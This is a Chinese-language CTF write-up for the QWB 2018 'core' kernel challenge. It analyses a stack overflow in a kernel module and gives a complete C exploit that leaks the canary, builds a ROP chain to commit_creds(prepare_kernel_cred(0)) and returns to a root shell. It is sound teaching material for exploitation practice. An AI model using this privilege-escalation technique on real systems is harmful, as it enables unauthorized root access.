强网杯2018-CORE-WP

Posted on Jun 20, 2021

这道题是一个 KERNEL 下的 ROP,其实和用户态下的差别也不是特别大,但是调试不是很方便,有地方出现错误,基本上就会造成 qemu 的重启,会浪费很多时间。

start.sh 脚本中的启动命令和参数为

$ cat start.sh 
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic

直接跑干脆跑不起来,从保存信息中可以看出是内存太小了,把它改成 256M 后我就可以起了。

同时注意到参数中挂了 kaslr。

解压后,首先看一下 init 脚本

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

可以看到比较重要的是

cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

insmod /core.ko

这四句话,其中中间两句设置了 kptr_restrict 和 dmesg_restrict 两个值为 1,这使得普通用户无法查看 dmesg 和 kallsyms 中的值(kallsyms 中显示会全部为 0)。后置主要影响的是查看与 moudle 相关的调试信息,也就是在 /sys/moudle/core/section 中执行 grep 0 .text 时需要 root 权限。前者则会造成无法直接通过 /proc/kallsyms 来进行 leak kernel 基址。

由于在执行 echo 1 > /proc/sys/kernel/kptr_restrict 之前就执行了 cat /proc/kallsyms > /tmp/kallsyms,所以我们可以直接通过 /tmp 中的文件来获得内核的基址。为了调试方便,可以本地去掉这两句话或者直接以 root 权限进入虚拟机,这样可以获得 core 的基址。因为我们在利用的时候是不需要查看 core 的基址的,所以在本地去掉这个防护也无伤大雅。

首先看一下文件操作的虚表

使用 write 可以设置 name,对长度的限制为 0x800

ioctl 定义了三条指令,分别可以进行 read,设置 off 变量,和执行 core_copy_func

在 core_copy_func 中,存在一个栈溢出

其中的 qmemcpy 存在一个栈溢出。虽然这里对 a1 进行了检测,但是在检测的时候 a1 为一个有符号的 64 位数,我们使用 (0xFFFFFFFFFFFF0000 | (0x100)) 这样的值就可以造成溢出了(注意这里给 a1 低 16 位的值不要太大,不然可能会出现错误)。

通过恰当设置 off 的值,在 core_read 中可以 leak 出一些栈上的数据,最重要的就是 canary。

有栈溢出,又可以 leak 出 canary。虽然开启了 kaslr,但是提供了 kallsyms,可以直接绕过,所以做 rop 即可。我们的目标就是先通过 rop 执行 commit_creds(prepare_kernel_cred(0)),然后返回用户态执行 system("/bin/sh")

题目给了一个 vmlinux,这个文件里面有大量的 gadgets(和 bzImage 之类的区别可以参考这里),通过 ropper 可以提取

ropper --file ./vmlinux --nocolor > vmlinux_gadgets

如果出于某些原因需要重新提取一次,ropper 会从 cache 中尝试重新提取,就我的经历而言,从 cache 中提取 ropper 会卡死,所以如果它卡死了,可以用 ropper --clear-cache 来清空 cache。

然后做 rop 即可,exp 如下

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

void GetRootShell()
{
	system("/bin/sh");
}

/* get user stat*/
size_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;
void GetUserStat()
{
	__asm__ (".intel_syntax noprefix\n"); // set intel syntax
	__asm__ volatile (
		"mov user_cs, cs;\
		 mov user_ss, ss;\
		 mov user_gs, gs;\
		 mov user_ds, ds;\
		 mov user_es, es;\
		 mov user_rsp, rsp;\
		 pushf;\
		 pop user_rflags"
	);
	printf("[+] got user stat\n");
}

int main()
{
	GetUserStat();

	int core_fd = open("/proc/core", 2);

	ioctl(core_fd, 0x6677889C, 0x40);
	char leaked_data[100];
	ioctl(core_fd, 0x6677889B, leaked_data);
	size_t canary = ((size_t*)leaked_data)[0];
	printf("[+] canary = %p\n", canary);
	size_t core_ioctl_addr = ((size_t*) leaked_data)[2] - 60;
	printf("[+] core_ioctl_addr = %p\n", core_ioctl_addr);

	/* 
	 * >>> print(hex(vmlinux.sym["commit_creds"] - 0xffffffff81000000))
	 * 0x9c8e0 													  
	 * >>> print(hex(vmlinux.sym["prepare_kernel_cred"] - 0xffffffff81000000))
	 * 0x9cce0 
	*/

	FILE* kallsym = fopen("/tmp/kallsyms", "r");
	if (kallsym == NULL)
	{
		printf("[!] open kallsym failed");
		return -1;
	}
	char sym_info[0x40] = {0};
	size_t prepare_kernel_cred_addr = 0;
	size_t commit_creds_addr = 0;
	size_t vmlinux_base_addr = 0;
	while(fgets(sym_info, 0x30, kallsym))
	{
		if (strstr(sym_info, "commit_creds"))
		{
			char commit_creds_hex[20] = {0};
			strncpy(commit_creds_hex, sym_info, 16);
			sscanf(commit_creds_hex, "%llx", &commit_creds_addr);
			vmlinux_base_addr = commit_creds_addr - 0x9C8E0;
			break;
		}
	}
	printf("[+] vmlinux_base_addr = %p\n", vmlinux_base_addr);
	prepare_kernel_cred_addr = vmlinux_base_addr + 0x9CCE0;
	printf("[+] commit_creds_addr = %p\n", commit_creds_addr);
	printf("[+] prepare_kernel_cred_addr = %p\n", prepare_kernel_cred_addr);

	size_t rop_chain[0x100] = {0};
	int i = 9;
	rop_chain[i++] = 0; // rbx pass
	rop_chain[i++] = 0xb2f + vmlinux_base_addr; //pop rdi; ret;
	rop_chain[i++] = 0;
	rop_chain[i++] = prepare_kernel_cred_addr;
	rop_chain[i++] = 0x0a0f49 + vmlinux_base_addr; // pop rdx; ret;
	/* call pushed commit_creds_addr, pop rdx to skip that and ret2commit_creds_addr */
	rop_chain[i++] = 0x0a0f49 + vmlinux_base_addr; // pop rdx; ret; 
	rop_chain[i++] = 0x01aa6a + vmlinux_base_addr; // mov rdi, rax; call rdx;
	rop_chain[i++] = commit_creds_addr;
	rop_chain[i++] = 0xa012da + vmlinux_base_addr; // swapgs; popfq; ret;
	rop_chain[i++] = 0;
	rop_chain[i++] = 0x050ac2 + vmlinux_base_addr; // iretq; ret;
	rop_chain[i++] = GetRootShell;
	/* return from INT */
	rop_chain[i++] = user_cs;
	rop_chain[i++] = user_rflags;
	rop_chain[i++] = user_rsp;
	rop_chain[i++] = user_ss;
	rop_chain[8] = canary;

	write(core_fd, rop_chain, 0x800);
	ioctl(core_fd, 0x6677889A, 0xFFFFFFFFFFFF0100);

	return 0;
}

注意由于我比较熟悉 Intel 语法,所以这里内联汇编用的也是 Intel 语法,编译时要加上 -masm=intel 这个参数。__asm__ (".intel_syntax noprefix\n"); 这句是设置内联汇编语法为 Intel 语法。